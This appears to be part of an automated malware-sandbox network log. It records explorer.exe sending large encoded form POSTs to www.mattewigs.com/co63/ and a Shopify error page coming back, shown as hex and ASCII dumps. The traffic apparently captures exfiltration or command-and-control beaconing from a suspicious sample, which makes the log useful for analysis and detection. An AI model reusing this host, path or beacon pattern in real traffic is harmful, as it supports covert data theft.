5f 51 7a 6b 62 44 54 6c 48 47 36 78 78 56 45 72 4e 6b 32 31 45 63 45 4f 6c 76 65 51 75 63 46 6b 72 59 63 62 54 6a 56 4b 78 39 74 42 41 6b 55 63 73 30 75 49 64 49 4e 55 57 45 6b 5a 64 72 39 4c 59 48 53 43 7a 68 57 4e 35 53 37 45 58 41 6e 30 6a 46 67 46 46 49 69 59 47 6f 34 58 55 50 45 41 77 77 49 59 58 6b 70 30 66 76 58 37 44 62 43 76 52 4f 48 64 2d 5a 56 35 37 51 65 55 57 36 37 6b 4a 33 45 59 37 36 37 4f 37 50 32 7e 5f 53 77 70 37 6b 74 68 45 38 64 44 71 4d 51 56 55 56 57 76 38 50 6d 34 49 78 4c 54 58 7e 36 59 6c 4c 72 50 70 6e 6b 75 61 6e 61 45 5f 50 31 63 69 74 34 50 74 4b 41 6a 4a 34 78 4b 47 37 67 52 4f 51 65 6a 53 47 4b 32 71 50 4e Data Ascii: aJElwV=(iuxAj3yumzHNa5Hzifh2y7Md7ReqBl7fso01yqiL2(BngtCY59LTmvTF5Vbo031TTVJ(rn5V6wpMt(G1XDHSPWiWuovvTRZLGdMM7xaIrAmRP7ytv1UsJteZN8yABGOZFh5o-4x1mv0ePCYCf9aJu0zgjgwLlNfE92jBNAAoica5LZHklixpIPRutCYwTeW0WFwP0I_ky9O0KjZyimWnNIZXzmVKCzbZOOUXCRnrk3H6TF-bnPRe4EiK3RAgXWFwBg_x9hnmM~yHNzi6LaNJJDZHLTFGy4wW1wOf1OMLzV2pMWblMzwaX3MGic2QGRchkfJ3BY4pOyukYCr1z9DV5pPeCqnLzD-uQ(5oDaOSqupPdRMX9mHe4SLrA3eL2GdgokWIYydQM3_ZEHwfwYXMHeByWSJmeeOg4dxhHv-S-68T9UR~HMzVpw0nsxv3p7SQjHDJFD2kEVPAIgifFd4AEHU~utZqA9RnHhIahbWEn(hbbrNEhmjVchf9UC3VqEP7SH1J4uCi6Cs8OWZOyP2JuXWCtTyE3zLl_mR16HMZYY6jAEhXBDVo4x1OkXGjpzZ9BKC4U5XO46n0q46Zq5YcYuu9bDlgTZWZmq9~HiNE7zyKRm4HiJG(4JGJVymF8OOtkrw~-SoRQizfaikqjhX8PqaEuQY9Fc3tpUTK1B_7HTSqPASYj6wvC3wI6jjkAgMZhs1tKhZtcnL~1HBlFQnvBJTkfj62ByYBgr2KasaPgSvxBH_UCUwVqRY9TYg3UziEJ6Dn08KLab30encUAZVFYTmS12FDd6s~kaJKuXGZp4Q4IwuYTOJJPEPQhd8Az0sBIB0U6rwlYTgzHIAzWFh4Wv4XRZZmqho6rj5iEdRstQC(RMolyJLg0(q7Nt78eweP7M79cQsfXV7ZM8SsZBgyor21nSYTnnUJkyyFrMaEoqYfVP9ddVRwvZ_xZ25TD7dEiCjzR(x2dF_W8OrKkddo8xGENJNodcqdzNnVUtf9cPoIJScOLGbHs67dXDLaYQCLlcrvVmhbro2t6oGWoZUwJINRpGObkoutMSDDTkp21P58RZ1liDBH_k_QCYxukNEhBuAkX0FCjgZDPH8RNoZKgsZkudM1V(pokChM57ufG1bZI9sQWIuT_QzkbDTlHG6xxVErNk21EcEOlveQucFkrYcbTjVKx9tBAkUcs0uIdINUWEkZdr9LYHSCzhWN5S7EXAn0jFgFFIiYGo4XUPEAwwIYXkp0fvX7DbCvROHd-ZV57QeUW67kJ3EY767O7P2~_Swp7kthE8dDqMQVUVWv8Pm4IxLTX~6YlLrPpnkuanaE_P1cit4PtKAjJ4xKG7gROQejSGK2qPNrAgvGxQgPi0lTLE6VHeOCmYyHp~xFBzyG2vS2VxcBjZbxqlqQ4zV7yE-eaaZq5s4j7vZWNET6doEFfAPDlyLKSb-x0k1Gm9rk68vmjFOqceo4lOWIkiZlQ).33TCDw)
Jul 20, 2023 11:46:59.800354958 CEST	1166	IN	HTTP/1.1 402 Payment Required Date: Thu, 20 Jul 2023 09:46:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 275 X-Sorting-Hat-ShopId: 78317551892 X-Frame-Options: DENY X-ShopId: 78317551892 X-ShardId: 275 Vary: Accept Server-Timing: processing;dur=22 X-Shopify-Stage: production Content-Security-Policy: frame-ancestors 'none'; report-uri /csp-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=b1581704-308b-4e6c-a1ae-fd5cbde2fccf X-Content-Type-Options: nosniff X-Download-Options: noopen X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=not_found&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=storefront_section%2Fshop&source%5Bsection%5D=storefront&source%5Buuid%5D=b1581704-308b-4e6c-a1ae-fd5cbde2fccf X-Dc: gcp-europe-west3,gcp-us-east1,gcp-us-east1 X-Request-ID: b1581704-308b-4e6c-a1ae-fd5cbde2fccf CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IXPYbNXv81p5ihq%2BWy6ycY5YrXUF%2F0HnJSNGzPqZiS8kyGfKKunHQwd46PNOElI6wed6WlOG2fVVxBFD5hr%2BGWUhb7B7rNu6vHtzBkBPSD9ZKvy9qYEm Data Raw: Data Ascii:
Jul 20, 2023 11:46:59.800379038 CEST	1166	IN	Data Raw: 64 57 4a 49 4f 58 57 39 4e 63 68 44 31 48 74 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e Data Ascii: dWJIOXW9NchD1Ht"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server-Timing: cfRequestDuration;dur=240.999937Server: cloudflareCF-RAY: 7e9a47ba1bea9c0c-FRAalt-svc: h3=":443";
Jul 20, 2023 11:46:59.800404072 CEST	1168	IN	Data Raw: 32 62 39 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 53 6f Data Ascii: 2b97<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Something went wrong.</title> <meta name="referrer" content="never" /> <style type="text/css"> * { border:0; margin:0; padding:0; -moz-box-sizing:border-b
Jul 20, 2023 11:46:59.800429106 CEST	1169	IN	Data Raw: 78 3b 20 6d 61 78 2d 77 69 64 74 68 3a 36 35 30 70 78 3b 20 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 20 70 61 64 64 69 6e 67 3a 32 30 70 78 3b 20 7d 0a 0a 20 20 20 20 2e 68 65 72 6f 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 30 70 78 Data Ascii: x; max-width:650px; margin:0 auto; padding:20px; } .hero { margin-bottom:30px; } .content--block { position:relative; margin-bottom:50px; } .content--desc { margin-bottom:32px; position:relative; } .content--desc-large { font
Jul 20, 2023 11:46:59.800453901 CEST	1170	IN	Data Raw: 20 73 6b 65 74 63 68 3a 74 79 70 65 3d 22 4d 53 41 72 74 62 6f 61 72 64 47 72 6f 75 70 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 39 37 2e 30 30 30 30 30 30 2c 20 2d 38 32 2e 30 30 30 30 30 30 29 22 3e 0a 20 20 20 Data Ascii: sketch:type="MSArtboardGroup" transform="translate(-297.000000, -82.000000)"> <g id="well-be-back" sketch:type="MSLayerGroup" transform="translate(299.000000, 84.000000)"> <path d="M209.391799,46.714415
Jul 20, 2023 11:46:59.800478935 CEST	1172	IN	Data Raw: 31 36 30 31 32 34 2c 34 32 2e 38 36 38 35 32 38 33 20 4c 31 33 35 2e 37 34 34 30 36 35 2c 33 37 2e 32 36 38 38 33 30 32 22 20 69 64 3d 22 53 74 72 6f 6b 65 2d 37 22 20 73 74 72 6f 6b 65 3d 22 23 42 34 42 35 42 34 22 20 73 74 72 6f 6b 65 2d 77 69 Data Ascii: 160124,42.8685283 L135.744065,37.2688302" id="Stroke-7" stroke="#B4B5B4" stroke-width="2" stroke-linecap="round" sketch:type="MSShapeGroup"></path> <path d="M0.458340557,61.6156981 L-0.149164087,54.5929811 C-0.410879257,5
Jul 20, 2023 11:46:59.800503969 CEST	1173	IN	Data Raw: 68 61 70 65 47 72 6f 75 70 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 30 35 2e 30 34 34 33 34 34 2c 34 33 2e 38 33 39 38 34 39 31 20 4c 34 2e 33 39 38 39 38 34 Data Ascii: hapeGroup"></path> <path d="M205.044344,43.8398491 L4.39898452,61.2733585" id="Fill-9" fill="#FFFFFF" sketch:type="MSShapeGroup"></path> <path d="M205.044344,43.8398491 L4.39898452,61.2733585" id="St
Jul 20, 2023 11:46:59.800563097 CEST	1174	IN	Data Raw: 38 39 2c 31 30 36 2e 30 33 39 30 31 39 20 37 32 2e 30 33 36 30 38 33 36 2c 31 30 37 2e 36 34 32 30 33 38 20 37 31 2e 36 31 35 30 33 34 31 2c 31 30 37 2e 39 35 31 30 39 34 20 43 36 39 2e 36 32 35 30 34 39 35 2c 31 31 32 2e 37 32 32 37 39 32 20 36 Data Ascii: 89,106.039019 72.0360836,107.642038 71.6150341,107.951094 C69.6250495,112.722792 67.8811858,114.945962 66.1312198,114.945962 C64.4626161,114.945962 63.2652353,112.974113 62.1071796,111.066792 C61.8827554,110.697283 61.6617214,110.333208 61.442
Jul 20, 2023 11:46:59.800587893 CEST	1176	IN	Data Raw: 2e 37 37 36 36 33 34 37 2c 31 30 31 2e 38 33 35 31 37 20 37 35 2e 37 35 30 32 36 39 33 2c 31 30 31 2e 36 38 32 33 34 20 37 36 2e 39 38 30 38 37 33 31 2c 31 30 31 2e 36 38 32 33 34 20 43 38 30 2e 35 35 38 30 39 39 31 2c 31 30 31 2e 36 38 32 33 34 Data Ascii: .7766347,101.83517 75.7502693,101.68234 76.9808731,101.68234 C80.5580991,101.68234 87.0867399,103.040151 90.6212508,112.136604 C94.8432724,123.002491 94.0547368,133.549132 88.4000619,141.832528 C82.8877709,149.908075 73.2619412,154.924302 63.2
Jul 20, 2023 11:46:59.800616026 CEST	1177	IN	Data Raw: 35 20 35 34 2e 33 39 38 31 30 38 34 2c 31 34 35 2e 33 32 37 39 32 35 20 43 35 35 2e 35 39 34 38 31 31 31 2c 31 34 35 2e 33 32 37 39 32 35 20 35 36 2e 39 30 35 34 32 31 31 2c 31 34 35 2e 34 30 36 37 31 37 20 35 38 2e 33 33 36 30 34 30 32 2c 31 34 Data Ascii: 5 54.3981084,145.327925 C55.5948111,145.327925 56.9054211,145.406717 58.3360402,145.577208 C59.4513808,145.70966 60.5321424,145.773509 61.5844272,145.773509 C80.1309474,145.773509 88.8862012,125.913057 84.8791115,113.518868 C82.8789567,107.330
Jul 20, 2023 11:46:59.800653934 CEST	1178	IN	Data Raw: 34 31 32 2c 31 31 35 2e 36 37 38 38 36 38 20 43 33 39 2e 32 37 30 31 35 37 39 2c 31 31 35 2e 36 37 38 38 36 38 20 34 31 2e 31 36 37 32 35 33 39 2c 31 31 35 2e 30 30 38 34 35 33 20 34 33 2e 32 30 33 33 34 33 37 2c 31 31 33 2e 36 38 35 32 38 33 20 Data Ascii: 412,115.678868 C39.2701579,115.678868 41.1672539,115.008453 43.2033437,113.685283 C43.618969,113.415623 43.8094923,112.934717 43.688805,112.460604 C43.5667616,111.981736 43.1640186,111.648226 42.6622848,111.610868 C39.8105387,111.396226 39.447

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49733	23.227.38.74	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:46:59.563703060 CEST	1027	OUT	POST /co63/ HTTP/1.1 Host: www.mattewigs.com Connection: close Content-Length: 151296 Cache-Control: no-cache Origin: http://www.mattewigs.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.mattewigs.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 28 69 75 78 41 6d 4b 44 6f 58 48 30 4a 66 68 47 30 55 43 73 34 78 7a 6b 56 63 67 47 30 6a 45 50 57 65 67 43 31 79 61 6d 47 53 61 63 67 45 70 43 52 61 56 41 56 47 76 63 55 70 56 63 28 6b 37 6a 50 77 6c 42 28 71 7a 44 56 36 6f 75 45 6f 54 4a 7a 30 37 51 59 5f 4b 61 55 75 4d 45 72 51 35 61 4b 6d 46 71 61 4b 35 61 56 71 30 65 53 63 44 6c 71 65 70 51 6a 4a 68 63 52 73 45 37 4f 54 50 73 4c 6e 4e 39 72 38 41 64 6a 55 76 5f 62 74 36 6b 44 38 52 47 4e 65 67 79 76 45 6f 2d 4c 47 35 68 55 6f 57 37 43 4e 5a 61 68 44 6f 71 76 4c 35 50 6b 6b 6e 4e 78 59 66 34 68 4f 54 67 77 68 72 68 77 57 78 77 4f 48 59 76 71 55 56 41 74 70 62 33 6c 56 4c 73 68 39 34 77 41 48 71 65 50 53 54 59 55 72 54 50 4a 54 56 63 70 6c 76 62 6f 41 4e 47 61 48 37 4b 41 34 55 66 48 51 73 48 68 44 6d 6d 33 44 30 6e 28 39 39 55 32 72 7e 2d 4d 38 53 62 37 6f 32 46 4a 38 4b 43 45 49 7a 45 49 44 59 33 58 77 6c 4c 41 46 79 5a 4e 31 4e 45 6a 6f 4b 6a 6c 4e 6a 4f 64 33 54 32 61 79 63 77 65 6e 77 42 68 6b 58 4a 33 41 49 6f 70 5f 69 75 72 61 61 30 33 78 46 47 4d 5a 70 4d 45 53 62 68 4d 42 58 31 75 51 75 2d 70 7a 53 4f 54 6f 36 70 5a 4d 74 4c 52 4e 6d 48 51 59 53 4a 72 41 33 57 4c 32 48 35 67 75 78 58 4a 62 53 64 45 34 33 68 62 32 66 32 65 6a 45 5f 44 48 65 4e 38 30 37 49 73 4e 71 79 67 37 64 35 76 45 62 2d 52 4e 32 5f 56 63 46 59 71 47 4d 73 64 4d 77 6b 70 4d 34 6b 33 70 33 50 43 52 76 78 61 52 43 6f 6a 45 56 41 50 59 38 50 55 6b 64 6b 45 57 65 49 77 39 4e 69 72 77 35 76 32 6e 31 39 5a 42 6a 67 44 6d 6a 31 44 72 76 37 42 55 32 6b 52 74 52 34 35 51 36 5f 61 2d 55 43 36 79 54 6c 50 64 4b 51 67 34 53 69 38 35 6d 35 44 77 6a 69 57 66 62 70 4e 4c 48 67 42 30 37 30 68 4f 75 77 7a 71 62 59 57 36 51 75 6d 67 49 36 42 6a 47 45 74 64 63 72 51 57 62 2d 7a 64 28 63 37 77 53 46 30 45 64 43 4e 34 32 43 69 61 55 46 59 62 64 32 5a 74 79 61 78 62 50 47 72 32 64 6f 51 6b 79 46 36 6e 4f 38 58 34 57 53 53 44 57 67 45 79 56 31 37 4b 42 7a 41 58 57 66 4e 39 37 66 30 57 7a 63 36 64 76 6b 41 79 79 57 58 4c 61 53 67 48 5a 6b 7e 4d 43 5f 4f 65 4d 39 36 41 59 37 68 64 42 32 4f 55 74 47 78 42 62 76 6d 5f 6c 42 43 45 36 51 76 69 58 43 59 49 72 43 74 46 67 4a 62 43 67 47 34 35 78 65 73 5f 61 37 7a 47 48 39 71 55 6f 4d 6e 54 5a 32 72 66 79 33 32 32 50 30 42 67 6a 41 4e 71 4d 77 4f 69 6d 76 6d 54 76 38 61 42 38 76 54 61 52 59 6d 44 59 47 35 30 50 78 45 4f 6d 44 68 41 73 4b 4d 6f 58 78 30 65 6e 73 64 6a 46 31 46 6f 54 37 41 6b 71 4b 44 5a 33 5a 7e 68 43 4e 59 5f 62 57 64 75 38 54 38 59 77 69 62 43 4f 4f 4a 50 34 30 51 68 5a 56 4f 51 73 44 43 34 4a 4b 42 36 72 77 6a 65 4b 2d 69 47 34 46 34 31 35 74 6b 46 58 43 44 42 64 48 6f 37 73 55 77 4f 75 70 76 54 6c 52 6b 4d 55 4f 36 77 59 34 32 32 74 41 67 58 57 75 35 4a 42 67 70 5f 30 44 4a 4f 55 37 78 59 6f 57 55 31 39 4b 54 63 39 48 71 4f 63 30 30 6f 28 50 6c 77 75 68 54 55 6a 66 4e 55 79 4c 45 4c 34 67 58 4b 58 48 47 58 37 50 62 73 49 43 77 4b 31 2d 77 70 65 69 58 69 48 6e 56 77 33 37 72 6c 62 37 36 4d 6c 72 45 73 54 4f 64 6e 67 51 70 59 30 69 42 64 4d 74 77 6f 34 55 4f 6a 6f 43 5a 46 4e 2d 28 39 69 49 42 59 36 4b 4e 49 79 67 53 75 36 4b 5a 78 62 77 62 35 30 4a 44 79 67 62 30 33 48 78 5a 35 59 50 67 4c 68 5f 49 36 55 7a 7e 72 5a 63 58 35 44 79 63 6c 73 43 70 37 6d 6f 4d 41 49 79 78 6b 62 49 78 6c 77 33 6d 51 6e 69 58 4d 6c 55 61 77 31 66 6a 6c 6c 5a 70 57 33 57 69 6c 49 63 48 43 35 72 45 75 6a 75 4a 63 63 79 61 51 55 41 6c 36 4a 55 28 79 50 64 6f 6b 71 31 43 35 44 75 52 55 64 62 5a 71 56 73 50 6d 63 74 49 36 73 47 74 61 57 70 69 54 57 32 79 31 45 44 71 34 4e 57 33 67 31 5a 4d 43 58 44 66 63 64 78 6a 37 67 4b 5a 6a 44 45 4f 47 4e 49 62 32 56 73 55 63 77 30 50 4b 67 6a 42 78 39 61 58 2d 43 35 62 71 4b 53 4d 52 31 73 45 5a 47 6f 4d 42 52 4b 37 30 38 51 62 56 6b 74 44 6b 30 56 4b 68 33 69 50 56 31 6e 59 46 30 55 78 35 72 57 38 6a 62 53 69 44 65 41 59 5f 68 79 76 35 41 53 51 6d 43 35 37 4f 6a 68 65 70 69 34 4f 5f 62 4c 68 5f 36 6d 67 35 46 52 75 67 49 37 50 37 74 2d 55 55 74 2d 6a 4e 7a 4b 6e 34 5a 37 58 45 4b 48 58 55 6a 36 43 6f 69 31 70 66 54 6b 43 65 6d 4b 4c 31 68 69 4d 4f 4f 33 76 49 49 33 64 77 6a 43 56 5f 49 48 6e 6c 50 4c 78 71 6a 56 Data Ascii: aJElwV=(iuxAmKDoXH0JfhG0UCs4xzkVcgG0jEPWegC1yamGSacgEpCRaVAVGvcUpVc(k7jPwlB(qzDV6ouEoTJz07QY_KaUuMErQ5aKmFqaK5aVq0eScDlqepQjJhcRsE7OTPsLnN9r8AdjUv_bt6kD8RGNegyvEo-LG5hUoW7CNZahDoqvL5PkknNxYf4hOTgwhrhwWxwOHYvqUVAtpb3lVLsh94wAHqePSTYUrTPJTVcplvboANGaH7KA4UfHQsHhDmm3D0n(99U2r~-M8Sb7o2FJ8KCEIzEIDY3XwlLAFyZN1NEjoKjlNjOd3T2aycwenwBhkXJ3AIop_iuraa03xFGMZpMESbhMBX1uQu-pzSOTo6pZMtLRNmHQYSJrA3WL2H5guxXJbSdE43hb2f2ejE_DHeN807IsNqyg7d5vEb-RN2_VcFYqGMsdMwkpM4k3p3PCRvxaRCojEVAPY8PUkdkEWeIw9Nirw5v2n19ZBjgDmj1Drv7BU2kRtR45Q6_a-UC6yTlPdKQg4Si85m5DwjiWfbpNLHgB070hOuwzqbYW6QumgI6BjGEtdcrQWb-zd(c7wSF0EdCN42CiaUFYbd2ZtyaxbPGr2doQkyF6nO8X4WSSDWgEyV17KBzAXWfN97f0Wzc6dvkAyyWXLaSgHZk~MC_OeM96AY7hdB2OUtGxBbvm_lBCE6QviXCYIrCtFgJbCgG45xes_a7zGH9qUoMnTZ2rfy322P0BgjANqMwOimvmTv8aB8vTaRYmDYG50PxEOmDhAsKMoXx0ensdjF1FoT7AkqKDZ3Z~hCNY_bWdu8T8YwibCOOJP40QhZVOQsDC4JKB6rwjeK-iG4F415tkFXCDBdHo7sUwOupvTlRkMUO6wY422tAgXWu5JBgp_0DJOU7xYoWU19KTc9HqOc00o(PlwuhTUjfNUyLEL4gXKXHGX7PbsICwK1-wpeiXiHnVw37rlb76MlrEsTOdngQpY0iBdMtwo4UOjoCZFN-(9iIBY6KNIygSu6KZxbwb50JDygb03HxZ5YPgLh_I6Uz~rZcX5DyclsCp7moMAIyxkbIxlw3mQniXMlUaw1fjllZpW3WilIcHC5rEujuJccyaQUAl6JU(yPdokq1C5DuRUdbZqVsPmctI6sGtaWpiTW2y1EDq4NW3g1ZMCXDfcdxj7gKZjDEOGNIb2VsUcw0PKgjBx9aX-C5bqKSMR1sEZGoMBRK708QbVktDk0VKh3iPV1nYF0Ux5rW8jbSiDeAY_hyv5ASQmC57Ojhepi4O_bLh_6mg5FRugI7P7t-UUt-jNzKn4Z7XEKHXUj6Coi1pfTkCemKL1hiMOO3vII3dwjCV_IHnlPLxqjVxDkJMQw_IlVEHZYZcVOOZBE_a4LMAH2LBmfS~H1FBy9ajatKYsLs~z9rR9~kucIpkLv8Yscp(PYHNNt9FgWiKgH2x0NzVWwLobEghQ1OlJ3VnVHYIQLm~WZ0IWUzcXWHMab61X3nD66wiPPk9Qt33IvV3XE-nPffFhDYWlZsNBzkhjPD(hFtz4E2q1iif8HPaRxDn-oGfJ6antoaUMwvRDUGm-~S1RBinPEyVAYxnbWdEu5X14UtH53Fx95gCBy47IUjjvBC1Sp6owYiNDhsJDYAbA4mBWbVvpgG1GdiKteWZZVaelA8n3SOeOoWSw67H08cIykQh5rUwx4uOGXCeWufwFfckADJzYOIZUYfCRJohw6L99t9jWZiKGbrM6lYXE8wOW~HDyQCagp59c5tckvgVaCd1PpDETtp4T0wDB1CF0qH(DAj98(w6e(Cf1Z2ZEgY(-vxKEGfy4HxJnT0fa8Pr_pSaLFAx5f6r9ES(om6dzB-fDzm8V5sgAuQId(6Gd8xIV7gQea5UUypr9X5KtB1GYU0VIP8wwf81fx3to(uS2DvQ3mgzo1_(VTu66PHubDeTDk4fsANlmJimkKvtks0JbC2uqdSl-AH(xK2i5IZrCN72VXPaw7SMmaXE8D6MXgcIWBgD60V0pE0j-HXe2jAaMuH3ShyAuVAXqTOeV8w2Xv493A9lgzIJWTb7CqzgR19beFp36zf6W2C7mMozBnXDBng3yw9KHaD0EUSvHeAg_G-Rk0xS_1b9WnjMgTSfWJIf31MaMCAEEl2tNXSGBkwsHvNGRiJq5bSGu59KJq1LYz8Eafj9x3pNnvWx92DZURFl1pT2X7fw_50ffskWnzPTHsNfiOtNZGw6qKSwSGJEmywL1ITsOrYqqsdXh5o~IafZ9MnQxBzJ2cZdok-iTj_o-1daxsEa8BAzi9NuivYFHTPStNo5EajUtryrZSvgVHtvkmfy7SWcXdn2mlCx-PBcGp78BE9jxtrHRfY8SDaZrSqRQIbKij2uUMKKnmkPNpEMtxbdrKbMkjov5BI(NCtoLogPLG7zntfblGwip2BKqp4QCkLvewA9V8PJc0Rjt3Zup6ImFGUtIJLKK4RAtwd4r5Uh-QhiEt1UGI9GFhkt-iyzK6yfdtudz1PjQB8i-OooX(sF8wfSL(H0kHs6Z9Bmm5ByLtDrzh997mxvbt4wU8T8uLaQjTkCaCNfQateUwJmom7zQ48H_Z63qhsx-phVYyAiFud3357aOQrjfrAfi6QvWX3hiStBAlKogi22UbTG_dCOZ6IpJ~-tpngEBj1PLmHCcNYVNHQf8tQWxD6BXPJDMz9LndVgtqH2T4MmxJ1LJ(ljRcxkEiyS_AYLXZaoJFwF7WBKgYwACMhMvSUC2KjhfAIZQfMrBzJ9MuXU1iEVt(dl604GEFEn8RZoviOjEEKsZOZxJbbyBqfGmCVxggTSSj3lYQeMDEQQg0-eoY0QInLQ3PerDTjknNwQmpLaQ6FqdpwBiNIswguyK9itSJqZaAEs5oQ3RK4D0A9iAjtjLBHLNfYJMLDDOL7ohnmRl1u43oNwWlfO1rwKOsq8pY_6LQDov0H6rJQ2BDdBMEbjrJ-bNSobm(f1qJNrryujYpnQ9RfjEhAevicHxzSTi(qJoSBu1gQkil5MhY9XCSBH8bgdQO9oDdKiKYIwyxHHT7HQzYtDPERTP7mQJuIS_SWNjs1yR3j19UWL5R8liQwUJQXoZ4JZrKR8zqM44gMFhSCGSHFaZCqxHtBBSSFfLZ3AZKuSrwqiK3zYh6CrgVuBALIbDeah1zbwQr3SBO_617kkX8xdOToUJmkHTjjtoe4lJeHjFyt8AZvnnNNo7P9jPGLc-0rTOEBrVLP2w3n9_3GPQy7gsnKsjp3V2oRaR9kd4wjra6vkqmz4KzlZY0iLC1Ggx8LRyoKffQsKjo0V-tVgQxGiexdN7pgwZoNhHsI3VLD8_mk~8m3vW~BEdT9FDPn4is0im~I35ZIsOh3b820w8wQoSDGKeGGO9HtZqch8MVffK50g1Tk3izRfZE9pa6_2Y9XribFJ5bNdK(GB9IpBBCzawgklk1sgMkdNCQckb6D2xM6wPGARFPLk2Ps8nWTDTJ8w_f_iJ4Q9QDyJdF52mUz(EPIcLNF9-RSxYPvl80Xv4eXTuAy4h2MrfV_~0B69cR6cdVc6-n7KGWRMLB_PSi_Gjkni_SCvm68Z4alIsvU3WQTxC92daf-(c5LR62ygcnS3CSv~hCRbQg1TAfzwGw4qhVsaXbjU-gxbCTus1qFeNn86Es8Idy1oGa3ub~6azcbVnK_zgn9z7xD9YPTMcEM1oyYzGnJowUGxZNiMLe_htFyM98h1G42VgzHLEMrc-r33pt2rbeJpmPHRs0BSUjKWCYTKCCCnzmke4noCTzN9Xca0307rkGGs-Bv6uUVBnvrAM0Q5OC3m-V3ohzTYs5pB4IzH0ZhNnlCZZAq6xMUL6ndJ9mz6K7bYF9x7URwAFd9d4fMSNzRBrduMOdDmY3UKws5iQ0gGGApEEtQttJcIXx_J0JK8Nbt8uO-iCV-QjaMIHlmHcyOAkAPrl3HeEPH1AIZJYPbDcspOal-ekX9(s9uayiAFWtU7-amJk~rGORI9OpuF1sLS2V33wqzD0B7rc14g1DuQZD4Oh4FuUtzieFp50Bnx0FzYw4B7gk7lg038h7dKtYn9SkYwWHhxO37Ngi
Jul 20, 2023 11:46:59.580430984 CEST	1037	OUT	Data Raw: 6d 67 7a 67 4f 4c 6c 75 71 4b 65 6c 75 35 32 64 6d 54 50 61 65 4a 49 48 70 48 6e 68 6e 32 55 54 31 56 49 58 32 38 74 7a 39 31 66 47 76 4e 78 58 65 4f 70 58 62 4b 46 51 62 70 78 73 4f 64 6a 44 76 58 7a 78 36 53 2d 4b 4f 37 73 5a 56 28 6a 49 57 28 Data Ascii: mgzgOLluqKelu52dmTPaeJIHpHnhn2UT1VIX28tz91fGvNxXeOpXbKFQbpxsOdjDvXzx6S-KO7sZV(jIW(xGQu9sDmt4lbGP41R(QYhlYTdY3pyoBuIFsavpXZR(ngrNdd3IQ80znzGggO3wGKrryzY8ZLT2rU3hrCzwzSbIDqogCOY8HmWmEZu5DsHaorrbiF958TYtw9peD7i~iU5oH8PZOzp1pYy6HnCpuNy9qoajfjLF-jB
Jul 20, 2023 11:46:59.580509901 CEST	1052	OUT	Data Raw: 73 28 42 4f 4f 77 39 30 79 30 63 5a 49 48 30 51 48 62 50 73 49 37 4c 30 30 69 32 59 54 59 70 43 49 6e 35 50 6b 53 46 77 4f 46 50 75 54 55 6e 6c 42 47 5a 59 43 6a 34 6f 68 70 55 4b 43 7a 54 72 77 79 56 69 59 35 54 31 6f 62 48 58 6d 74 63 49 67 7a Data Ascii: s(BOOw90y0cZIH0QHbPsI7L00i2YTYpCIn5PkSFwOFPuTUnlBGZYCj4ohpUKCzTrwyViY5T1obHXmtcIgzKvU62XSeDWqsRtMpXJ3f0gJMHzIifH-a8OhoNh08MKAY6J49n39(XUfjhU5tPOqWGiMctNNne7bt4HIdAYmBHq1HMUaKUZg6r5i~r9Rvv8VFO3Xw822~wGo5iRELogfD9j6w2bH4fDmgtdADCTi8g(3z8trN7cWRh
Jul 20, 2023 11:46:59.597090960 CEST	1055	OUT	Data Raw: 63 76 74 66 74 34 6a 68 70 35 73 42 44 58 52 37 61 53 72 47 67 4a 63 6d 76 4a 37 56 32 36 77 61 34 42 69 6c 53 46 39 77 30 7a 4e 7a 6b 7a 43 6b 55 4b 57 57 52 46 74 58 47 36 61 55 58 4d 36 6e 37 34 35 64 35 53 74 64 45 36 64 72 56 68 43 59 4f 7e Data Ascii: cvtft4jhp5sBDXR7aSrGgJcmvJ7V26wa4BilSF9w0zNzkzCkUKWWRFtXG6aUXM6n745d5StdE6drVhCYO~EIAdpzNS1BEVjG4md32M9jXImqOMNm-ancI4JMCywOk65sqcoBgFKOw1JbX~JlLlfnhIBMabss7NsQnQwZ1Vhb_4zW30S2O7PND2sZEoZPySxM4HR2jK1HNIZMmCOIPbt6sQ45WDhbacRrgA8zD0Rhg2_mAfOke3Y
